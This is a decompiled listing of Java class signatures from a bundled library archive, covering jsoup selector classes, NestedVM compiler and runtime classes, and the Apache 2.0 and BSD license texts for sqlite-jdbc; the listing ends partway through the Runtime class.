public synchronized class Selector$SelectorParseException extends IllegalStateException {
    public transient void Selector$SelectorParseException(String, Object[]);
}










org/jsoup/select/Selector.class


package org.jsoup.select;
public synchronized class Selector {
    private final Evaluator evaluator;
    private final org.jsoup.nodes.Element root;
    private void Selector(String, org.jsoup.nodes.Element);
    public static Elements select(String, org.jsoup.nodes.Element);
    public static Elements select(String, Iterable);
    private Elements select();
    static Elements filterOut(java.util.Collection, java.util.Collection);
}










org/jsoup/select/StructuralEvaluator$Has.class


package org.jsoup.select;
synchronized class StructuralEvaluator$Has extends StructuralEvaluator {
    public void StructuralEvaluator$Has(Evaluator);
    public boolean matches(org.jsoup.nodes.Element, org.jsoup.nodes.Element);
    public String toString();
}










org/jsoup/select/StructuralEvaluator$ImmediateParent.class


package org.jsoup.select;
synchronized class StructuralEvaluator$ImmediateParent extends StructuralEvaluator {
    public void StructuralEvaluator$ImmediateParent(Evaluator);
    public boolean matches(org.jsoup.nodes.Element, org.jsoup.nodes.Element);
    public String toString();
}










org/jsoup/select/StructuralEvaluator$ImmediatePreviousSibling.class


package org.jsoup.select;
synchronized class StructuralEvaluator$ImmediatePreviousSibling extends StructuralEvaluator {
    public void StructuralEvaluator$ImmediatePreviousSibling(Evaluator);
    public boolean matches(org.jsoup.nodes.Element, org.jsoup.nodes.Element);
    public String toString();
}










org/jsoup/select/StructuralEvaluator$Not.class


package org.jsoup.select;
synchronized class StructuralEvaluator$Not extends StructuralEvaluator {
    public void StructuralEvaluator$Not(Evaluator);
    public boolean matches(org.jsoup.nodes.Element, org.jsoup.nodes.Element);
    public String toString();
}










org/jsoup/select/StructuralEvaluator$Parent.class


package org.jsoup.select;
synchronized class StructuralEvaluator$Parent extends StructuralEvaluator {
    public void StructuralEvaluator$Parent(Evaluator);
    public boolean matches(org.jsoup.nodes.Element, org.jsoup.nodes.Element);
    public String toString();
}










org/jsoup/select/StructuralEvaluator$PreviousSibling.class


package org.jsoup.select;
synchronized class StructuralEvaluator$PreviousSibling extends StructuralEvaluator {
    public void StructuralEvaluator$PreviousSibling(Evaluator);
    public boolean matches(org.jsoup.nodes.Element, org.jsoup.nodes.Element);
    public String toString();
}










org/jsoup/select/StructuralEvaluator$Root.class


package org.jsoup.select;
synchronized class StructuralEvaluator$Root extends Evaluator {
    void StructuralEvaluator$Root();
    public boolean matches(org.jsoup.nodes.Element, org.jsoup.nodes.Element);
}










org/jsoup/select/StructuralEvaluator.class


package org.jsoup.select;
abstract synchronized class StructuralEvaluator extends Evaluator {
    Evaluator evaluator;
    void StructuralEvaluator();
}










org/jsoup/UnsupportedMimeTypeException.class


package org.jsoup;
public synchronized class UnsupportedMimeTypeException extends java.io.IOException {
    private String mimeType;
    private String url;
    public void UnsupportedMimeTypeException(String, String, String);
    public String getMimeType();
    public String getUrl();
    public String toString();
}
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META-INF/maven/org.xerial/sqlite-jdbc/LICENSE



                                 Apache License
                           Version 2.0, January 2004
                        http://www.apache.org/licenses/

   TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION

   1. Definitions.

      "License" shall mean the terms and conditions for use, reproduction,
      and distribution as defined by Sections 1 through 9 of this document.

      "Licensor" shall mean the copyright owner or entity authorized by
      the copyright owner that is granting the License.

      "Legal Entity" shall mean the union of the acting entity and all
      other entities that control, are controlled by, or are under common
      control with that entity. For the purposes of this definition,
      "control" means (i) the power, direct or indirect, to cause the
      direction or management of such entity, whether by contract or
      otherwise, or (ii) ownership of fifty percent (50%) or more of the
      outstanding shares, or (iii) beneficial ownership of such entity.

      "You" (or "Your") shall mean an individual or Legal Entity
      exercising permissions granted by this License.

      "Source" form shall mean the preferred form for making modifications,
      including but not limited to software source code, documentation
      source, and configuration files.

      "Object" form shall mean any form resulting from mechanical
      transformation or translation of a Source form, including but
      not limited to compiled object code, generated documentation,
      and conversions to other media types.

      "Work" shall mean the work of authorship, whether in Source or
      Object form, made available under the License, as indicated by a
      copyright notice that is included in or attached to the work
      (an example is provided in the Appendix below).

      "Derivative Works" shall mean any work, whether in Source or Object
      form, that is based on (or derived from) the Work and for which the
      editorial revisions, annotations, elaborations, or other modifications
      represent, as a whole, an original work of authorship. For the purposes
      of this License, Derivative Works shall not include works that remain
      separable from, or merely link (or bind by name) to the interfaces of,
      the Work and Derivative Works thereof.

      "Contribution" shall mean any work of authorship, including
      the original version of the Work and any modifications or additions
      to that Work or Derivative Works thereof, that is intentionally
      submitted to Licensor for inclusion in the Work by the copyright owner
      or by an individual or Legal Entity authorized to submit on behalf of
      the copyright owner. For the purposes of this definition, "submitted"
      means any form of electronic, verbal, or written communication sent
      to the Licensor or its representatives, including but not limited to
      communication on electronic mailing lists, source code control systems,
      and issue tracking systems that are managed by, or on behalf of, the
      Licensor for the purpose of discussing and improving the Work, but
      excluding communication that is conspicuously marked or otherwise
      designated in writing by the copyright owner as "Not a Contribution."

      "Contributor" shall mean Licensor and any individual or Legal Entity
      on behalf of whom a Contribution has been received by Licensor and
      subsequently incorporated within the Work.

   2. Grant of Copyright License. Subject to the terms and conditions of
      this License, each Contributor hereby grants to You a perpetual,
      worldwide, non-exclusive, no-charge, royalty-free, irrevocable
      copyright license to reproduce, prepare Derivative Works of,
      publicly display, publicly perform, sublicense, and distribute the
      Work and such Derivative Works in Source or Object form.

   3. Grant of Patent License. Subject to the terms and conditions of
      this License, each Contributor hereby grants to You a perpetual,
      worldwide, non-exclusive, no-charge, royalty-free, irrevocable
      (except as stated in this section) patent license to make, have made,
      use, offer to sell, sell, import, and otherwise transfer the Work,
      where such license applies only to those patent claims licensable
      by such Contributor that are necessarily infringed by their
      Contribution(s) alone or by combination of their Contribution(s)
      with the Work to which such Contribution(s) was submitted. If You
      institute patent litigation against any entity (including a
      cross-claim or counterclaim in a lawsuit) alleging that the Work
      or a Contribution incorporated within the Work constitutes direct
      or contributory patent infringement, then any patent licenses
      granted to You under this License for that Work shall terminate
      as of the date such litigation is filed.

   4. Redistribution. You may reproduce and distribute copies of the
      Work or Derivative Works thereof in any medium, with or without
      modifications, and in Source or Object form, provided that You
      meet the following conditions:

      (a) You must give any other recipients of the Work or
          Derivative Works a copy of this License; and

      (b) You must cause any modified files to carry prominent notices
          stating that You changed the files; and

      (c) You must retain, in the Source form of any Derivative Works
          that You distribute, all copyright, patent, trademark, and
          attribution notices from the Source form of the Work,
          excluding those notices that do not pertain to any part of
          the Derivative Works; and

      (d) If the Work includes a "NOTICE" text file as part of its
          distribution, then any Derivative Works that You distribute must
          include a readable copy of the attribution notices contained
          within such NOTICE file, excluding those notices that do not
          pertain to any part of the Derivative Works, in at least one
          of the following places: within a NOTICE text file distributed
          as part of the Derivative Works; within the Source form or
          documentation, if provided along with the Derivative Works; or,
          within a display generated by the Derivative Works, if and
          wherever such third-party notices normally appear. The contents
          of the NOTICE file are for informational purposes only and
          do not modify the License. You may add Your own attribution
          notices within Derivative Works that You distribute, alongside
          or as an addendum to the NOTICE text from the Work, provided
          that such additional attribution notices cannot be construed
          as modifying the License.

      You may add Your own copyright statement to Your modifications and
      may provide additional or different license terms and conditions
      for use, reproduction, or distribution of Your modifications, or
      for any such Derivative Works as a whole, provided Your use,
      reproduction, and distribution of the Work otherwise complies with
      the conditions stated in this License.

   5. Submission of Contributions. Unless You explicitly state otherwise,
      any Contribution intentionally submitted for inclusion in the Work
      by You to the Licensor shall be under the terms and conditions of
      this License, without any additional terms or conditions.
      Notwithstanding the above, nothing herein shall supersede or modify
      the terms of any separate license agreement you may have executed
      with Licensor regarding such Contributions.

   6. Trademarks. This License does not grant permission to use the trade
      names, trademarks, service marks, or product names of the Licensor,
      except as required for reasonable and customary use in describing the
      origin of the Work and reproducing the content of the NOTICE file.

   7. Disclaimer of Warranty. Unless required by applicable law or
      agreed to in writing, Licensor provides the Work (and each
      Contributor provides its Contributions) on an "AS IS" BASIS,
      WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
      implied, including, without limitation, any warranties or conditions
      of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
      PARTICULAR PURPOSE. You are solely responsible for determining the
      appropriateness of using or redistributing the Work and assume any
      risks associated with Your exercise of permissions under this License.

   8. Limitation of Liability. In no event and under no legal theory,
      whether in tort (including negligence), contract, or otherwise,
      unless required by applicable law (such as deliberate and grossly
      negligent acts) or agreed to in writing, shall any Contributor be
      liable to You for damages, including any direct, indirect, special,
      incidental, or consequential damages of any character arising as a
      result of this License or out of the use or inability to use the
      Work (including but not limited to damages for loss of goodwill,
      work stoppage, computer failure or malfunction, or any and all
      other commercial damages or losses), even if such Contributor
      has been advised of the possibility of such damages.

   9. Accepting Warranty or Additional Liability. While redistributing
      the Work or Derivative Works thereof, You may choose to offer,
      and charge a fee for, acceptance of support, warranty, indemnity,
      or other liability obligations and/or rights consistent with this
      License. However, in accepting such obligations, You may act only
      on Your own behalf and on Your sole responsibility, not on behalf
      of any other Contributor, and only if You agree to indemnify,
      defend, and hold each Contributor harmless for any liability
      incurred by, or claims asserted against, such Contributor by reason
      of your accepting any such warranty or additional liability.

   END OF TERMS AND CONDITIONS

   APPENDIX: How to apply the Apache License to your work.

      To apply the Apache License to your work, attach the following
      boilerplate notice, with the fields enclosed by brackets "[]"
      replaced with your own identifying information. (Don't include
      the brackets!)  The text should be enclosed in the appropriate
      comment syntax for the file format. We also recommend that a
      file or class name and description of purpose be included on the
      same "printed page" as the copyright notice for easier
      identification within third-party archives.

   Copyright [yyyy] [name of copyright owner]

   Licensed under the Apache License, Version 2.0 (the "License");
   you may not use this file except in compliance with the License.
   You may obtain a copy of the License at

       http://www.apache.org/licenses/LICENSE-2.0

   Unless required by applicable law or agreed to in writing, software
   distributed under the License is distributed on an "AS IS" BASIS,
   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
   See the License for the specific language governing permissions and
   limitations under the License.










META-INF/maven/org.xerial/sqlite-jdbc/LICENSE.zentus


Copyright (c) 2006, David Crawshaw.  All rights reserved.

Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions
are met:

1. Redistributions of source code must retain the above copyright
   notice, this list of conditions and the following disclaimer.
2. Redistributions in binary form must reproduce the above copyright
   notice, this list of conditions and the following disclaimer in the
   documentation and/or other materials provided with the distribution.

THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND
ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
ARE DISCLAIMED.  IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE
FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
SUCH DAMAGE.
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version=3.7.2
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org/ibex/nestedvm/ClassFileCompiler.class


package org.ibex.nestedvm;
public synchronized class ClassFileCompiler extends Compiler implements org.ibex.classgen.CGConst {
    private static final boolean OPTIMIZE_CP = 1;
    private java.io.OutputStream os;
    private java.io.File outDir;
    private java.io.PrintStream warn;
    private final org.ibex.classgen.Type$Class me;
    private org.ibex.classgen.ClassFile cg;
    private org.ibex.classgen.MethodGen clinit;
    private org.ibex.classgen.MethodGen init;
    private static int initDataCount;
    private int startOfMethod;
    private int endOfMethod;
    private org.ibex.classgen.MethodGen$PhantomTarget returnTarget;
    private org.ibex.classgen.MethodGen$PhantomTarget defaultTarget;
    private org.ibex.classgen.MethodGen$PhantomTarget[] insnTargets;
    private org.ibex.classgen.MethodGen mg;
    private static final int UNREACHABLE = 1;
    private static final int SKIP_NEXT = 2;
    private boolean textDone;
    private static final Float POINT_5_F;
    private static final Double POINT_5_D;
    private static final Long FFFFFFFF;
    private static final int R = 0;
    private static final int F = 32;
    private static final int HI = 64;
    private static final int LO = 65;
    private static final int FCSR = 66;
    private static final int REG_COUNT = 67;
    private static final String[] regField;
    private static final int MAX_LOCALS = 4;
    private static final int LOAD_LENGTH = 3;
    private int[] regLocalMapping;
    private boolean[] regLocalWritten;
    private int nextAvailLocal;
    private int loadsStart;
    private int preSetRegStackPos;
    private int[] preSetRegStack;
    private int memWriteStage;
    private boolean didPreMemRead;
    private boolean preMemReadDoPreWrite;
    public void ClassFileCompiler(String, String, java.io.OutputStream) throws java.io.IOException;
    public void ClassFileCompiler(util.Seekable, String, java.io.OutputStream) throws java.io.IOException;
    public void ClassFileCompiler(util.Seekable, String, java.io.File) throws java.io.IOException;
    private void ClassFileCompiler(util.Seekable, String) throws java.io.IOException;
    public void setWarnWriter(java.io.PrintStream);
    protected void _go() throws Compiler$Exn, java.io.IOException;
    private void __go() throws Compiler$Exn, java.io.IOException;
    private void addConstReturnMethod(String, int);
    private void emitData(int, java.io.DataInputStream, int, boolean) throws Compiler$Exn, java.io.IOException;
    private void emitBSS(int, int) throws Compiler$Exn;
    private boolean jumpable(int);
    private void emitText(int, java.io.DataInputStream, int) throws Compiler$Exn, java.io.IOException;
    private void startMethod(int);
    private void endMethod(int, boolean);
    private void leaveMethod();
    private void link(int);
    private void branch(int, int);
    private int doIfInstruction(byte, int, int, int) throws Compiler$Exn;
    private int emitInstruction(int, int, int) throws Compiler$Exn;
    private boolean doLocal(int);
    private int getLocalForReg(int);
    private void fixupRegsStart();
    private void fixupRegsEnd();
    private void restoreChangedRegs();
    private int pushRegWZ(int);
    private int pushRegZ(int);
    private int pushReg(int);
    private boolean preSetReg(int);
    private int setReg();
    private int preSetPC();
    private int setPC();
    private int pushFloat(int) throws Compiler$Exn;
    private int pushDouble(int, boolean) throws Compiler$Exn;
    private void preSetFloat(int);
    private void preSetDouble(int);
    private void preSetDouble(int, boolean);
    private int setFloat() throws Compiler$Exn;
    private int setDouble() throws Compiler$Exn;
    private int setDouble(boolean) throws Compiler$Exn;
    private void pushTmp();
    private void setTmp();
    private void addiu(int, int);
    private void preMemWrite1();
    private void preMemWrite2(int, int);
    private void preMemWrite2();
    private void preMemWrite2(boolean);
    private void memWrite();
    private void memRead(int, int);
    private void preMemRead();
    private void preMemRead(boolean);
    private void memRead();
    private void memRead(boolean);
    static void <clinit>();
}










org/ibex/nestedvm/Compiler$Exn.class


package org.ibex.nestedvm;
synchronized class Compiler$Exn extends Exception {
    public void Compiler$Exn(String);
}










org/ibex/nestedvm/Compiler$Option.class


package org.ibex.nestedvm;
synchronized class Compiler$Option {
    private reflect.Field field;
    public void Compiler$Option(Compiler, String) throws NoSuchFieldException;
    public void set(Object);
    public Object get();
    public Class getType();
}










org/ibex/nestedvm/Compiler.class


package org.ibex.nestedvm;
public abstract synchronized class Compiler implements Registers {
    util.ELF elf;
    final String fullClassName;
    String source;
    boolean fastMem;
    int maxInsnPerMethod;
    int maxBytesPerMethod;
    int methodMask;
    int methodShift;
    boolean pruneCases;
    boolean assumeTailCalls;
    boolean debugCompiler;
    boolean printStats;
    boolean runtimeStats;
    boolean supportCall;
    boolean nullPointerCheck;
    String runtimeClass;
    String hashClass;
    boolean unixRuntime;
    boolean lessConstants;
    boolean singleFloat;
    int pageSize;
    int totalPages;
    int pageShift;
    boolean onePage;
    java.util.Hashtable jumpableAddresses;
    util.ELF$Symbol userInfo;
    util.ELF$Symbol gp;
    private boolean used;
    private static String[] options;
    public void setSource(String);
    void maxInsnPerMethodInit() throws Compiler$Exn;
    void pageSizeInit() throws Compiler$Exn;
    private static void usage();
    public static void main(String[]) throws java.io.IOException;
    public void Compiler(util.Seekable, String) throws java.io.IOException;
    abstract void _go() throws Compiler$Exn, java.io.IOException;
    public void go() throws Compiler$Exn, java.io.IOException;
    private void findBranchesInSymtab(util.ELF$Symtab, java.util.Hashtable);
    private void findBranchesInText(int, java.io.DataInputStream, int, java.util.Hashtable) throws java.io.IOException;
    private void findBranchesInData(java.io.DataInputStream, int, java.util.Hashtable, int, int) throws java.io.IOException;
    static final String toHex(int);
    static final String toHex8(int);
    static final String toOctal3(int);
    private Compiler$Option getOption(String);
    public void parseOptions(String);
    private static Integer parseInt(String);
    private static String wrapAndIndent(String, int, int, int);
    static String dateTime();
    static void <clinit>();
}










org/ibex/nestedvm/crt0.o








org/ibex/nestedvm/Interpreter$DebugShutdownHook.class


package org.ibex.nestedvm;
public synchronized class Interpreter$DebugShutdownHook implements Runnable {
    public void Interpreter$DebugShutdownHook(Interpreter);
    public void run();
}










org/ibex/nestedvm/Interpreter.class


package org.ibex.nestedvm;
public synchronized class Interpreter extends UnixRuntime implements Cloneable {
    private int[] registers;
    private int hi;
    private int lo;
    private int[] fpregs;
    private int fcsr;
    private int pc;
    public String image;
    private util.ELF$Symtab symtab;
    private int gp;
    private util.ELF$Symbol userInfo;
    private int entryPoint;
    private int heapStart;
    private java.util.HashMap sourceLineCache;
    private final void setFC(boolean);
    private final int roundingMode();
    private final double getDouble(int);
    private final void setDouble(int, double);
    private final float getFloat(int);
    private final void setFloat(int, float);
    protected void _execute() throws Runtime$ExecutionException;
    protected Object clone() throws CloneNotSupportedException;
    private final int runSome() throws Runtime$FaultException, Runtime$ExecutionException;
    public int lookupSymbol(String);
    protected int gp();
    protected int userInfoBae();
    protected int userInfoSize();
    protected int entryPoint();
    protected int heapStart();
    private void loadImage(util.Seekable) throws java.io.IOException;
    protected void setCPUState(Runtime$CPUState);
    protected void getCPUState(Runtime$CPUState);
    public void Interpreter(util.Seekable) throws java.io.IOException;
    public void Interpreter(String) throws java.io.IOException;
    public void Interpreter(java.io.InputStream) throws java.io.IOException;
    public String sourceLine(int);
    public static void main(String[]) throws Exception;
}










org/ibex/nestedvm/JavaSourceCompiler.class


package org.ibex.nestedvm;
public synchronized class JavaSourceCompiler extends Compiler {
    private StringBuffer runs;
    private StringBuffer inits;
    private StringBuffer classLevel;
    private java.io.PrintWriter out;
    private int indent;
    private static String[] indents;
    private int startOfMethod;
    private int endOfMethod;
    private java.util.HashMap relativeAddrs;
    private boolean textDone;
    private int initDataCount;
    private boolean unreachable;
    private void p();
    private void p(String);
    private void pblock(StringBuffer);
    public void JavaSourceCompiler(util.Seekable, String, java.io.Writer) throws java.io.IOException;
    protected void _go() throws Compiler$Exn, java.io.IOException;
    private void startMethod(int);
    private void endMethod();
    private void endMethod(int);
    private String constant(int);
    private void branch(int, int);
    private void leaveMethod();
    private void emitText(int, java.io.DataInputStream, int) throws Compiler$Exn, java.io.IOException;
    private void emitData(int, java.io.DataInputStream, int, boolean) throws Compiler$Exn, java.io.IOException;
    private void emitBSS(int, int) throws Compiler$Exn;
    private void emitInstruction(int, int, int) throws java.io.IOException, Compiler$Exn;
    private void memWrite(String, String);
    private void memRead(String, String);
    private static String getFloat(int);
    private static String getDouble(int);
    private static String setFloat(int, String);
    private static String setDouble(int, String);
    static void <clinit>();
}










org/ibex/nestedvm/Registers.class


package org.ibex.nestedvm;
abstract interface Registers {
    public static final int ZERO = 0;
    public static final int AT = 1;
    public static final int K0 = 26;
    public static final int K1 = 27;
    public static final int GP = 28;
    public static final int SP = 29;
    public static final int FP = 30;
    public static final int RA = 31;
    public static final int V0 = 2;
    public static final int V1 = 3;
    public static final int A0 = 4;
    public static final int A1 = 5;
    public static final int A2 = 6;
    public static final int A3 = 7;
    public static final int T0 = 8;
    public static final int T1 = 9;
    public static final int T2 = 10;
    public static final int T3 = 11;
    public static final int T4 = 12;
    public static final int T5 = 13;
    public static final int T6 = 14;
    public static final int T7 = 15;
    public static final int T8 = 24;
    public static final int T9 = 25;
    public static final int S0 = 16;
    public static final int S1 = 17;
    public static final int S2 = 18;
    public static final int S3 = 19;
    public static final int S4 = 20;
    public static final int S5 = 21;
    public static final int S6 = 22;
    public static final int S7 = 23;
}










org/ibex/nestedvm/Runtime$1.class


package org.ibex.nestedvm;
synchronized class Runtime$1 extends Runtime$SeekableFD {
    void Runtime$1(Runtime, util.Seekable, int, java.io.File, util.Seekable$File, Object);
    protected Runtime$FStat _fstat();
}










org/ibex/nestedvm/Runtime$CallException.class


package org.ibex.nestedvm;
public synchronized class Runtime$CallException extends Exception {
    public void Runtime$CallException(String);
}










org/ibex/nestedvm/Runtime$CallJavaCB.class


package org.ibex.nestedvm;
public abstract interface Runtime$CallJavaCB {
    public abstract int call(int, int, int, int);
}










org/ibex/nestedvm/Runtime$CPUState.class


package org.ibex.nestedvm;
public synchronized class Runtime$CPUState {
    public int[] r;
    public int[] f;
    public int hi;
    public int lo;
    public int fcsr;
    public int pc;
    public void Runtime$CPUState();
    public Runtime$CPUState dup();
}










org/ibex/nestedvm/Runtime$ErrnoException.class


package org.ibex.nestedvm;
public synchronized class Runtime$ErrnoException extends Exception {
    public int errno;
    public void Runtime$ErrnoException(int);
}










org/ibex/nestedvm/Runtime$ExecutionException.class


package org.ibex.nestedvm;
public synchronized class Runtime$ExecutionException extends Exception {
    private String message;
    private String location;
    public void Runtime$ExecutionException();
    public void Runtime$ExecutionException(String);
    void setLocation(String);
    public final String getMessage();
}










org/ibex/nestedvm/Runtime$FaultException.class


package org.ibex.nestedvm;
public synchronized class Runtime$FaultException extends Runtime$ExecutionException {
    public final int addr;
    public final RuntimeException cause;
    public void Runtime$FaultException(int);
    public void Runtime$FaultException(RuntimeException);
}










org/ibex/nestedvm/Runtime$FD.class


package org.ibex.nestedvm;
public abstract synchronized class Runtime$FD {
    private int refCount;
    private String normalizedPath;
    private boolean deleteOnClose;
    private Runtime$FStat cachedFStat;
    public void Runtime$FD();
    public void setNormalizedPath(String);
    public String getNormalizedPath();
    public void markDeleteOnClose();
    public boolean isMarkedForDeleteOnClose();
    public int read(byte[], int, int) throws Runtime$ErrnoException;
    public int write(byte[], int, int) throws Runtime$ErrnoException;
    public int seek(int, int) throws Runtime$ErrnoException;
    public int getdents(byte[], int, int) throws Runtime$ErrnoException;
    util.Seekable seekable();
    public final Runtime$FStat fstat();
    protected abstract Runtime$FStat _fstat();
    public abstract int flags();
    public final void close();
    protected void _close();
    Runtime$FD dup();
}










org/ibex/nestedvm/Runtime$FStat.class


package org.ibex.nestedvm;
public abstract synchronized class Runtime$FStat {
    public static final int S_IFIFO = 4096;
    public static final int S_IFCHR = 8192;
    public static final int S_IFDIR = 16384;
    public static final int S_IFREG = 32768;
    public static final int S_IFSOCK = 49152;
    public void Runtime$FStat();
    public int mode();
    public int nlink();
    public int uid();
    public int gid();
    public int size();
    public int atime();
    public int mtime();
    public int ctime();
    public int blksize();
    public int blocks();
    public abstract int dev();
    public abstract int type();
    public abstract int inode();
}










org/ibex/nestedvm/Runtime$HostFStat.class


package org.ibex.nestedvm;
synchronized class Runtime$HostFStat extends Runtime$FStat {
    private final java.io.File f;
    private final util.Seekable$File sf;
    private final boolean executable;
    public void Runtime$HostFStat(java.io.File, util.Seekable$File);
    public void Runtime$HostFStat(java.io.File, boolean);
    public void Runtime$HostFStat(java.io.File, util.Seekable$File, boolean);
    public int dev();
    public int inode();
    public int type();
    public int nlink();
    public int mode();
    public int size();
    public int mtime();
}










org/ibex/nestedvm/Runtime$InputOutputStreamFD.class


package org.ibex.nestedvm;
public synchronized class Runtime$InputOutputStreamFD extends Runtime$FD {
    private final java.io.InputStream is;
    private final java.io.OutputStream os;
    public void Runtime$InputOutputStreamFD(java.io.InputStream);
    public void Runtime$InputOutputStreamFD(java.io.OutputStream);
    public void Runtime$InputOutputStreamFD(java.io.InputStream, java.io.OutputStream);
    public int flags();
    public void _close();
    public int read(byte[], int, int) throws Runtime$ErrnoException;
    public int write(byte[], int, int) throws Runtime$ErrnoException;
    public Runtime$FStat _fstat();
}










org/ibex/nestedvm/Runtime$ReadFaultException.class


package org.ibex.nestedvm;
public synchronized class Runtime$ReadFaultException extends Runtime$FaultException {
    public void Runtime$ReadFaultException(int);
}










org/ibex/nestedvm/Runtime$SecurityManager.class


package org.ibex.nestedvm;
public synchronized class Runtime$SecurityManager {
    public void Runtime$SecurityManager();
    public boolean allowRead(java.io.File);
    public boolean allowWrite(java.io.File);
    public boolean allowStat(java.io.File);
    public boolean allowUnlink(java.io.File);
}










org/ibex/nestedvm/Runtime$SeekableFD.class


package org.ibex.nestedvm;
public abstract synchronized class Runtime$SeekableFD extends Runtime$FD {
    private final int flags;
    private final util.Seekable data;
    void Runtime$SeekableFD(util.Seekable, int);
    protected abstract Runtime$FStat _fstat();
    public int flags();
    util.Seekable seekable();
    public int seek(int, int) throws Runtime$ErrnoException;
    public int write(byte[], int, int) throws Runtime$ErrnoException;
    public int read(byte[], int, int) throws Runtime$ErrnoException;
    protected void _close();
}










org/ibex/nestedvm/Runtime$SocketFStat.class


package org.ibex.nestedvm;
public synchronized class Runtime$SocketFStat extends Runtime$FStat {
    public void Runtime$SocketFStat();
    public int dev();
    public int type();
    public int inode();
}










org/ibex/nestedvm/Runtime$TerminalFD$1.class


package org.ibex.nestedvm;
synchronized class Runtime$TerminalFD$1 extends Runtime$SocketFStat {
    void Runtime$TerminalFD$1(Runtime$TerminalFD);
    public int type();
    public int mode();
}










org/ibex/nestedvm/Runtime$TerminalFD.class


package org.ibex.nestedvm;
synchronized class Runtime$TerminalFD extends Runtime$InputOutputStreamFD {
    public void Runtime$TerminalFD(java.io.InputStream);
    public void Runtime$TerminalFD(java.io.OutputStream);
    public void Runtime$TerminalFD(java.io.InputStream, java.io.OutputStream);
    public void _close();
    public Runtime$FStat _fstat();
}










org/ibex/nestedvm/Runtime$Win32ConsoleIS.class


package org.ibex.nestedvm;
synchronized class Runtime$Win32ConsoleIS extends java.io.InputStream {
    private int pushedBack;
    private final java.io.InputStream parent;
    public void Runtime$Win32ConsoleIS(java.io.InputStream);
    public int read() throws java.io.IOException;
    public int read(byte[], int, int) throws java.io.IOException;
}










org/ibex/nestedvm/Runtime$WriteFaultException.class


package org.ibex.nestedvm;
public synchronized class Runtime$WriteFaultException extends Runtime$FaultException {
    public void Runtime$WriteFaultException(int);
}










org/ibex/nestedvm/Runtime.class


package org.ibex.nestedvm;
public abstract synchronized class Runtime implements UsermodeConstants, Registers, Cloneable {
    public static final String VERSION = 1.0;
    static final boolean STDERR_DIAG = 1;
    protected final int pageShift;
    private final int stackBottom;
    protected int[][] readPages;
    protected int[][] writePages;
    private int heapEnd;
    private static final int STACK_GUARD_PAGES = 4;
    private long startTime;
    public static final int RUNNING = 0;
    public static final int STOPPED = 1;
    public static final int PAUSED = 2;
    public static final int CALLJAVA = 3;
    public static final int EXITED = 4;
    public static final int EXECED = 5;
    protected int state;
    private int exitStatus;
    public Runtime$ExecutionException exitException;
    Runtime$FD[] fds;
    boolean[] closeOnExec;
    Runtime$SecurityManager sm;
    private Runtime$CallJavaCB callJavaCB;
    private byte[] _byteBuf;
    static final int MAX_CHUNK = 16776192;
    static final boolean win32Hacks;
    public static final int RD_ONLY = 0;
    public static final int WR_ONLY = 1;
    public static final int RDWR = 2;
    public static final int O_CREAT = 512;
    public static final int O_EXCL = 2048;
    public static final int O_APPEND = 8;
    public static final int O_TRUNC = 1024;
    public static final int O_NONBLOCK = 16384;
    public static final int O_NOCTTY = 32768;
    protected abstract int heapStart();
    protected abstract int entryPoint();
    protected int userInfoBase();
    protected int userInfoSize();
    protected abstract int gp();
    public final int getState();
    public void setSecurityManager(Runtime$SecurityManager);
    public void setCallJavaCB(Runtime$CallJavaCB);
    protected abstract void _execute() throws Runtime$ExecutionException;
    public int lookupSymbol(String);
    protected abstract void getCPUState(Runtime$CPUState);
    protected abstract void setCPUState(Runtime$CPUState);
    protected Object clone() throws CloneNotSupportedException;
    protected void Runtime(int, int);
    protected void Runtime(int, int, boolean);
    protected final void initPages(int[], int, boolean);
    protected final void clearPages(int, int);
    public final void copyin(int, byte[], int) throws Runtime$ReadFaultException;
    public final void copyout(byte[], int, int) throws Runtime$FaultException;
    public final void memcpy(int, int, int) throws Runtime$FaultException;
    public final void memset(int, int, int) throws Runtime$FaultException;
    public final int memRead(int) throws Runtime$ReadFaultException;
    protected final int unsafeMemRead(int) throws Runtime$ReadFaultException;
    public final void memWrite(int, int) throws Runtime$WriteFaultException;
    protected final void unsafeMemWrite(int, int) throws Runtime$WriteFaultException;
    private final int[] initPage(int);
    private final int[] initPage(int, boolean);
    public final int exitStatus();
    private int addStringArray(String[], int) throws Runtime$FaultException;
    String[] createEnv(String[]);
    public void setUserInfo(int, int);
    public int getUserInfo(int);
    private void __execute();
    public final boolean execute();
    static String[] concatArgv(String, String[]);
    public final int run();
    public final int run(String, String[]);
    public final int run(String[]);
    public final int run(String[], String[]);
    public final void start();
    public final void start(String[]);
    public final void start(String[], String[]);
    public final void stop();
    void _started();
    public final int call(String, Object[]) throws Runtime$CallException, Runtime$FaultException;
    public final int call(String) throws Runtime$CallException;
    public final int call(String, int) throws Runtime$CallException;
    public final int call(String, int, int) throws Runtime$CallException;
    public final int call(String, int[]) throws Runtime$CallException;
    public final int call(int, int, int[]) throws Runtime$CallException;
    public final int addFD(Runtime$FD);
    void _preCloseFD(Runtime$FD);
    void _postCloseFD(Runtime$FD);
    public final boolean closeFD(int);
    public final int dupFD(int);
    Runtime$FD hostFSOpen(java.io.File, int, int, Object) throws Runtime$ErrnoException;
    Runtime$FStat hostFStat(java.io.File, util.Seekable$File, Object);
    Runtime$FD hostFSDirFD(java.io.File, Object);
    Runtime$FD _open(String, int, int) throws Runtime$ErrnoException;
    private int sys_open(int, int, int) throws Runtime$ErrnoException, Runtime$FaultException;
